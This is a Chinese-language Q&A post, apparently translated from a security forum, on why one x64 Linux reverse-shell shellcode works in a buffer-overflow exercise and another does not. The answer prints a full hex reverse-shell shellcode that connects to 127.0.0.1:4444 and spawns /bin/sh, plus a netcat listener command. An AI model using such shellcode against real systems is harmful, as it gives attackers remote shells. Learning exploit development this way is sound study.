一个 shellcode 有效,一个无效 - 利用 64 位 linux 二进制文件的问题

逆向工程 linux 开发 x64 外壳代码
2021-07-05 00:36:11

我正在开发一个简单的 64 位 linux 二进制文件。我通过利用缓冲区溢出并使用 jmp rsp 来控制程序来控制 RIP。

但是,我在使用 shellcode 时遇到了麻烦。我不够精明,不能自己写,所以我一直在使用我在网上找到的一些。shellcode 需要在端口 4444 上为我提供一个反向 shell。

只是为了测试,我尝试了一些基本的 shellcode。

作品 - http://shell-storm.org/shellcode/files/shellcode-806.php

不起作用 - https://www.exploit-db.com/exploits/35587/

第一个链接中的 shellcode 有效。第二个没有。

我逐步完成了程序,每条指令都排成一行。但是,在最后一次 syscall 之后,程序会继续执行堆栈而不是退出线程。

我真的可以求助于它,我一整天都被困在它上面。

1个回答

我已经测试了这两个 shellcode,它们都可以工作。

我认为你错过了第二点。据说:

注意:此 C 代码连接到 127.0.0.1:4444

这意味着它正在尝试连接到本地主机 (127.0.0.1) 上的端口 4444。如果没有人在监听那个端口,那么它就不会连接,只是在你系统调用之后尝试执行任何东西。

尝试再次执行它,但这次你需要执行你的 shellcode之前启动一些等待端口 4444 连接的进程,比如netcat

$ nc -lp 4444 -vv 
listening on [any] 4444 ...

随后,当你执行你的shellcode

./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"

nectat警告您(因为 -vv 表示详细)该端口上存在连接

 $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234

那是由您的 shellcode 发起的连接。

希望这可以帮助 !

注意execshellcode64只是我为测试目的而制作的个人程序。这实际上不是一个真正的命令。